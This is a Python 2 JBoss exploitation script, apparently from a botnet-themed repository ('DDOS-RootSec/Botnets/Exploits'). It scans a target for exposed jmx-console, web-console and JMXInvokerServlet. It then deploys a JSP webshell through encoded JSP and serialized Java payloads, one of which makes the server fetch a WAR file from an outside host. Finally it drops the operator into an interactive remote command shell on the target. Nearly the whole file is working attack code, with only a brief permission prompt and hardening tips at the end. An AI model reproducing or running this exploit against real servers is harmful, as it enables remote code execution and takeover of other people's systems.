Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/JBOSS FULL/exploit.py
5038 views
1
import httplib, sys, urllib, os, time
2
from urllib import urlencode
3
4
RED = '\x1b[91m'
5
RED1 = '\033[31m'
6
BLUE = '\033[94m'
7
GREEN = '\033[32m'
8
BOLD = '\033[1m'
9
NORMAL = '\033[0m'
10
ENDC = '\033[0m'
11
12
def getHost(url):
13
tokens = url.split("://")
14
if len(tokens) == 2: #foi fornecido protocolo
15
return tokens[1].split(":")[0]
16
else:
17
return tokens.split(":")[0]
18
19
def getProtocol(url):
20
tokens = url.split("://")
21
if tokens[0] == "https":
22
return "https"
23
else:
24
return "http"
25
26
def getPort(url):
27
token = url[6:].split(":")
28
if len(token) == 2:
29
return token[1]
30
elif getProtocol(url) == "https":
31
return 443
32
else:
33
return 80
34
35
def getConnection(url):
36
if getProtocol(url) == "https":
37
return httplib.HTTPSConnection(getHost(url), getPort(url))
38
else:
39
return httplib.HTTPConnection(getHost(url), getPort(url))
40
41
42
def getSuccessfully(url, path):
43
result = 404
44
time.sleep(5)
45
conn = getConnection(url)
46
conn.request("GET", path)
47
result = conn.getresponse().status
48
if result == 404:
49
conn.close()
50
time.sleep(7)
51
conn = getConnection(url)
52
conn.request("GET", path)
53
result = conn.getresponse().status
54
conn.close()
55
return result
56
57
def checkVul(url):
58
59
print ( GREEN +" ** Checking Host: %s **\n" %url )
60
61
path = { "jmx-console" : "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
62
"web-console" : "/web-console/ServerInfo.jsp",
63
"JMXInvokerServlet" : "/invoker/JMXInvokerServlet"}
64
65
for i in path.keys():
66
try:
67
print GREEN + " * Checking %s: \t" %i + ENDC,
68
conn = getConnection(url)
69
conn.request("HEAD", path[i])
70
path[i] = conn.getresponse().status
71
if path[i] == 200 or path[i] == 500:
72
print RED + "[ VULNERABLE ]" + ENDC
73
else: print GREEN + "[ SAFE ]"
74
conn.close()
75
except:
76
print RED + "\n * An error ocurred while connecting to the host %s\n" %url + ENDC
77
path[i] = 505
78
79
return path
80
81
def autoExploit(url, type):
82
83
# exploitJmxConsoleFileRepository: tested and working in jboss 4 and 5
84
# exploitJmxConsoleMainDeploy: tested and working in jboss 4 and 6
85
# exploitWebConsoleInvoker: tested and working in jboss 4
86
# exploitJMXInvokerFileRepository: tested and working in jboss 4 and 5
87
88
print GREEN + ("\n * Exploiting %s. Wait...\n" %url)
89
result = 505
90
if type == "jmx-console":
91
result = exploitJmxConsoleFileRepository(url)
92
if result != 200 and result != 500:
93
result = exploitJmxConsoleMainDeploy(url)
94
elif type == "web-console":
95
result = exploitWebConsoleInvoker(url)
96
elif type == "JMXInvokerServlet":
97
result = exploitJMXInvokerFileRepository(url)
98
99
if result == 200 or result == 500:
100
print GREEN + " * Successfully Exploiting! Starting Admin Command Shell...\n" + ENDC
101
shell_http(url, type)
102
else:
103
print (RED + "\n * Target \n"
104
" Waiting for 7 seconds...\n "+ ENDC)
105
time.sleep(7)
106
107
def shell_http(url, type):
108
if type == "jmx-console" or type == "web-console":
109
path = '/jbossass/jbossass.jsp?'
110
elif type == "JMXInvokerServlet":
111
path = '/shellinvoker/shellinvoker.jsp?'
112
113
conn = getConnection(url)
114
conn.request("GET", path)
115
conn.close()
116
time.sleep(7)
117
resp = ""
118
#clear()
119
print " * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * \n"
120
print RED+" * "+url+": \n"+ENDC
121
headers = {"User-Agent" : "jexboss"}
122
for cmd in ['uname -a', 'cat /etc/issue', 'id']:
123
conn = getConnection(url)
124
cmd = urlencode({"ppp": cmd})
125
conn.request("GET", path+cmd, '', headers)
126
resp += " "+conn.getresponse().read().split(">")[1]
127
print resp,
128
129
while 1:
130
print BLUE + "[Type commands or \"exit\" to finish]"
131
cmd=raw_input("Shell> "+ENDC)
132
#print ENDC
133
if cmd == "exit":
134
break
135
conn = getConnection(url)
136
cmd = urlencode({"ppp": cmd})
137
conn.request("GET", path+cmd, '', headers)
138
resp = conn.getresponse()
139
if resp.status == 404:
140
print RED+ " * Error contacting the commando shell. Try again later..."
141
conn.close()
142
continue
143
stdout = ""
144
try:
145
stdout = resp.read().split("pre>")[1]
146
except:
147
print RED+ " * Error contacting the commando shell. Try again later..."
148
if stdout.count("An exception occurred processing JSP page") == 1:
149
print RED + " * Error executing command \"%s\". " %cmd.split("=")[1] + ENDC
150
else: print stdout,
151
conn.close()
152
153
def exploitJmxConsoleMainDeploy(url):
154
# MainDeployer
155
# does not work in jboss5 (bug in jboss5)
156
# shell in link
157
# /jmx-console/HtmlAdaptor
158
jsp = "http://www.joaomatosf.com/rnp/jbossass.war"
159
payload =( "/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service"
160
"=MainDeployer&methodIndex=19&arg0="+jsp)
161
print ( GREEN+ "\n * Info: This exploit will force the server to deploy the webshell "
162
"\n available on: "+jsp +ENDC)
163
conn = getConnection(url)
164
conn.request("HEAD", payload)
165
result = conn.getresponse().status
166
conn.close()
167
return getSuccessfully(url, "/jbossass/jbossass.jsp")
168
169
def exploitJmxConsoleFileRepository(url):
170
# DeploymentFileRepository
171
# tested and work in jboss4, 5.
172
# doest not work in jboss6
173
# shell jsp
174
# /jmx-console/HtmlAdaptor
175
jsp =("%3C%25%40%20%70%61%67%65%20%69%6D%70%6F%72%74%3D%22%6A%61%76%61"
176
"%2E%75%74%69%6C%2E%2A%2C%6A%61%76%61%2E%69%6F%2E%2A%22%25%3E%3C"
177
"%70%72%65%3E%3C%25%20%69%66%20%28%72%65%71%75%65%73%74%2E%67%65"
178
"%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29%20%21%3D%20"
179
"%6E%75%6C%6C%20%26%26%20%72%65%71%75%65%73%74%2E%67%65%74%48%65"
180
"%61%64%65%72%28%22%75%73%65%72%2D%61%67%65%6E%74%22%29%2E%65%71"
181
"%75%61%6C%73%28%22%6A%65%78%62%6F%73%73%22%29%29%20%7B%20%50%72"
182
"%6F%63%65%73%73%20%70%20%3D%20%52%75%6E%74%69%6D%65%2E%67%65%74"
183
"%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28%72%65%71%75%65%73"
184
"%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29"
185
"%29%3B%20%44%61%74%61%49%6E%70%75%74%53%74%72%65%61%6D%20%64%69"
186
"%73%20%3D%20%6E%65%77%20%44%61%74%61%49%6E%70%75%74%53%74%72%65"
187
"%61%6D%28%70%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29"
188
"%29%3B%20%53%74%72%69%6E%67%20%64%69%73%72%20%3D%20%64%69%73%2E"
189
"%72%65%61%64%4C%69%6E%65%28%29%3B%20%77%68%69%6C%65%20%28%20%64"
190
"%69%73%72%20%21%3D%20%6E%75%6C%6C%20%29%20%7B%20%6F%75%74%2E%70"
191
"%72%69%6E%74%6C%6E%28%64%69%73%72%29%3B%20%64%69%73%72%20%3D%20"
192
"%64%69%73%2E%72%65%61%64%4C%69%6E%65%28%29%3B%20%7D%20%7D%25%3E" )
193
194
payload =("/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service="
195
"DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0="
196
"jbossass.war&argType=java.lang.String&arg1=jbossass&argType=java.lang.St"
197
"ring&arg2=.jsp&argType=java.lang.String&arg3="+jsp+"&argType=boolean&arg4=True")
198
199
conn = getConnection(url)
200
conn.request("HEAD", payload)
201
result = conn.getresponse().status
202
conn.close()
203
return getSuccessfully(url, "/jbossass/jbossass.jsp")
204
205
def exploitJMXInvokerFileRepository(url):
206
# tested and work in jboss4, 5
207
# MainDeploy, shell in data
208
# /invoker/JMXInvokerServlet
209
payload = ( "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73"
210
"\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72"
211
"\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f"
212
"\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77"
213
"\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76"
214
"\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2"
215
"\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75"
216
"\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e"
217
"\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00"
218
"\x78\x70\xe3\x2c\x60\xe6\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62"
219
"\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d"
220
"\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc"
221
"\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x7a\x00\x00\x02\xc6"
222
"\x00\x00\x02\xbe\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61"
223
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90"
224
"\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04"
225
"\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65"
226
"\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f"
227
"\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x2c\x6a"
228
"\x62\x6f\x73\x73\x2e\x61\x64\x6d\x69\x6e\x3a\x73\x65\x72\x76\x69"
229
"\x63\x65\x3d\x44\x65\x70\x6c\x6f\x79\x6d\x65\x6e\x74\x46\x69\x6c"
230
"\x65\x52\x65\x70\x6f\x73\x69\x74\x6f\x72\x79\x78\x74\x00\x05\x73"
231
"\x74\x6f\x72\x65\x75\x71\x00\x7e\x00\x00\x00\x00\x00\x05\x74\x00"
232
"\x10\x73\x68\x65\x6c\x6c\x69\x6e\x76\x6f\x6b\x65\x72\x2e\x77\x61"
233
"\x72\x74\x00\x0c\x73\x68\x65\x6c\x6c\x69\x6e\x76\x6f\x6b\x65\x72"
234
"\x74\x00\x04\x2e\x6a\x73\x70\x74\x01\x79\x3c\x25\x40\x20\x70\x61"
235
"\x67\x65\x20\x69\x6d\x70\x6f\x72\x74\x3d\x22\x6a\x61\x76\x61\x2e"
236
"\x75\x74\x69\x6c\x2e\x2a\x2c\x6a\x61\x76\x61\x2e\x69\x6f\x2e\x2a"
237
"\x22\x25\x3e\x3c\x70\x72\x65\x3e\x3c\x25\x69\x66\x28\x72\x65\x71"
238
"\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d\x65\x74\x65"
239
"\x72\x28\x22\x70\x70\x70\x22\x29\x20\x21\x3d\x20\x6e\x75\x6c\x6c"
240
"\x20\x26\x26\x20\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x48"
241
"\x65\x61\x64\x65\x72\x28\x22\x75\x73\x65\x72\x2d\x61\x67\x65\x6e"
242
"\x74\x22\x29\x2e\x65\x71\x75\x61\x6c\x73\x28\x22\x6a\x65\x78\x62"
243
"\x6f\x73\x73\x22\x29\x20\x29\x20\x7b\x20\x50\x72\x6f\x63\x65\x73"
244
"\x73\x20\x70\x20\x3d\x20\x52\x75\x6e\x74\x69\x6d\x65\x2e\x67\x65"
245
"\x74\x52\x75\x6e\x74\x69\x6d\x65\x28\x29\x2e\x65\x78\x65\x63\x28"
246
"\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d"
247
"\x65\x74\x65\x72\x28\x22\x70\x70\x70\x22\x29\x29\x3b\x20\x44\x61"
248
"\x74\x61\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x20\x64\x69"
249
"\x73\x20\x3d\x20\x6e\x65\x77\x20\x44\x61\x74\x61\x49\x6e\x70\x75"
250
"\x74\x53\x74\x72\x65\x61\x6d\x28\x70\x2e\x67\x65\x74\x49\x6e\x70"
251
"\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x29\x3b\x20\x53\x74\x72"
252
"\x69\x6e\x67\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69\x73\x2e\x72"
253
"\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x77\x68\x69\x6c\x65"
254
"\x20\x28\x20\x64\x69\x73\x72\x20\x21\x3d\x20\x6e\x75\x6c\x6c\x20"
255
"\x29\x20\x7b\x20\x6f\x75\x74\x2e\x70\x72\x69\x6e\x74\x6c\x6e\x28"
256
"\x64\x69\x73\x72\x29\x3b\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69"
257
"\x73\x2e\x72\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x7d\x20"
258
"\x7d\x25\x3e\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67"
259
"\x2e\x42\x6f\x6f\x6c\x65\x61\x6e\xcd\x20\x72\x80\xd5\x9c\xfa\xee"
260
"\x02\x00\x01\x5a\x00\x05\x76\x61\x6c\x75\x65\x78\x70\x01\x75\x72"
261
"\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74"
262
"\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00"
263
"\x78\x70\x00\x00\x00\x05\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61"
264
"\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00"
265
"\x7e\x00\x0f\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65"
266
"\x61\x6e\x63\x79\xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00"
267
"\x01\x73\x72\x00\x22\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69"
268
"\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61"
269
"\x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85\xf9\x02"
270
"\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00"
271
"\x00\x04\x70\x78")
272
conn = getConnection(url)
273
headers = { "Content-Type" : "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue",
274
"Accept" : "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"}
275
conn.request("POST", "/invoker/JMXInvokerServlet", payload, headers)
276
response = conn.getresponse()
277
result = response.status
278
if result == 401:
279
print " Retrying..."
280
conn.close()
281
conn.request("HEAD", "/invoker/JMXInvokerServlet", payload, headers)
282
response = conn.getresponse()
283
result = response.status
284
if response.read().count("Failed") > 0:
285
result = 505
286
conn.close
287
return getSuccessfully(url, "/shellinvoker/shellinvoker.jsp")
288
289
def exploitWebConsoleInvoker(url):
290
# does not work in jboss5 (bug in jboss5)
291
# MainDeploy, shell in link
292
# /web-console/Invoker
293
#jsp = "http://www.joaomatosf.com/rnp/jbossass.war"
294
#jsp = "\\x".join("{:02x}".format(ord(c)) for c in jsp)
295
#jsp = "\\x" + jsp
296
payload = ( "\xac\xed\x00\x05\x73\x72\x00\x2e\x6f\x72\x67\x2e"
297
"\x6a\x62\x6f\x73\x73\x2e\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x72\x65"
298
"\x6d\x6f\x74\x65\x2e\x52\x65\x6d\x6f\x74\x65\x4d\x42\x65\x61\x6e"
299
"\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\xe0\x4f\xa3\x7a\x74\xae"
300
"\x8d\xfa\x02\x00\x04\x4c\x00\x0a\x61\x63\x74\x69\x6f\x6e\x4e\x61"
301
"\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f"
302
"\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x06\x70\x61\x72\x61\x6d\x73"
303
"\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f"
304
"\x62\x6a\x65\x63\x74\x3b\x5b\x00\x09\x73\x69\x67\x6e\x61\x74\x75"
305
"\x72\x65\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67"
306
"\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x10\x74\x61\x72\x67\x65"
307
"\x74\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x74\x00\x1d\x4c\x6a"
308
"\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2f"
309
"\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x78\x70\x74\x00\x06"
310
"\x64\x65\x70\x6c\x6f\x79\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61"
311
"\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58"
312
"\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00"
313
"\x2a"
314
#link
315
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6a\x6f\x61\x6f\x6d\x61"
316
"\x74\x6f\x73\x66\x2e\x63\x6f\x6d\x2f\x72\x6e\x70\x2f\x6a\x62\x6f"
317
"\x73\x73\x61\x73\x73\x2e\x77\x61\x72"
318
#end
319
"\x75\x72\x00\x13\x5b"
320
"\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e"
321
"\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00"
322
"\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e"
323
"\x53\x74\x72\x69\x6e\x67\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e"
324
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63"
325
"\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00"
326
"\x78\x70\x74\x00\x21\x6a\x62\x6f\x73\x73\x2e\x73\x79\x73\x74\x65"
327
"\x6d\x3a\x73\x65\x72\x76\x69\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65"
328
"\x70\x6c\x6f\x79\x65\x72\x78")
329
conn = getConnection(url)
330
headers = { "Content-Type" : "application/x-java-serialized-object; class=org.jboss.console.remote.RemoteMBeanInvocation",
331
"Accept" : "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"}
332
conn.request("POST", "/web-console/Invoker", payload, headers)
333
response = conn.getresponse()
334
result = response.status
335
if result == 401:
336
print " Retrying..."
337
conn.close()
338
conn.request("HEAD", "/web-console/Invoker", payload, headers)
339
response = conn.getresponse()
340
result = response.status
341
conn.close
342
return getSuccessfully(url, "/jbossass/jbossass.jsp")
343
344
345
def clear():
346
if os.name == 'posix':
347
os.system('clear')
348
elif os.name == ('ce', 'nt', 'dos'):
349
os.system('cls')
350
351
def checkArgs(args):
352
if len(args) < 2 or args[1].count('.') < 1:
353
return 1,"You must provide the host name or IP address you want to test."
354
elif len(args[1].split('://')) == 1:
355
return 2, 'Changing address "%s" to "http://%s"' %(args[1], args[1])
356
elif args[1].count('http') == 1 and args[1].count('.') > 1:
357
return 0, ""
358
else:
359
return 1, 'Invalid parameter'
360
361
# check python version
362
if sys.version_info[0] == 3:
363
print (RED + "\n * Not compatible with version 3 of python.\n"
364
" Please run it with version 2.7 or lower.\n\n"
365
+BLUE+" * Example:\n"
366
" python2.7 " + sys.argv[0]+ " https://site.com\n\n"+ENDC )
367
sys.exit(1)
368
369
# check Args
370
status, message = checkArgs(sys.argv)
371
if status == 0:
372
url = sys.argv[1]
373
elif status == 1:
374
print RED + "\n * Error: %s" %message
375
print BLUE + "\n Example:\n python %s https://site.com.br\n" %sys.argv[0] + ENDC
376
sys.exit(status)
377
elif status == 2:
378
url = ''.join(['http://',sys.argv[1]])
379
380
# check vulnerabilities
381
mapResult = checkVul(url)
382
383
# performs exploitation
384
for i in ["jmx-console", "web-console", "JMXInvokerServlet"]:
385
if mapResult[i] == 200 or mapResult[i] == 500:
386
print BLUE + ("\n\n * Do you want to try to run an automated exploitation via \""+BOLD+i+NORMAL+"\" ?\n"
387
" This operation will provide a simple command shell to execute commands on the server..\n"
388
+RED+" Continue only if you have permission!" +ENDC)
389
if raw_input(" yes/NO ? ").lower() == "yes":
390
autoExploit(url, i)
391
392
# resume results
393
if mapResult.values().count(200) > 0:
394
banner()
395
print RED+ " Results: potentially compromised server!" +ENDC
396
print (GREEN+" * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n\n"
397
" Recommendations: \n"
398
" - Remove web consoles and services that are not used, eg:\n"
399
" $ rm web-console.war\n"
400
" $ rm http-invoker.sar\n"
401
" $ rm jmx-console.war\n"
402
" $ rm jmx-invoker-adaptor-server.sar\n"
403
" $ rm admin-console.war\n"
404
" - Use a reverse proxy (eg. nginx, apache, f5)\n"
405
" - Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)\n"
406
" - Search vestiges of exploitation within the directories \"deploy\" or \"management\".\n\n"
407
" References:\n"
408
" [1] - https://developer.jboss.org/wiki/SecureTheJmxConsole\n"
409
" [2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf\n"
410
"\n"
411
" - If possible, discard this server!\n\n"
412
" * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n" )
413
elif mapResult.values().count(505) == 0:
414
print ( GREEN+ "\n\n * Results: \n"
415
" The server is not vulnerable to bugs tested ... :D\n\n" + ENDC)
416
417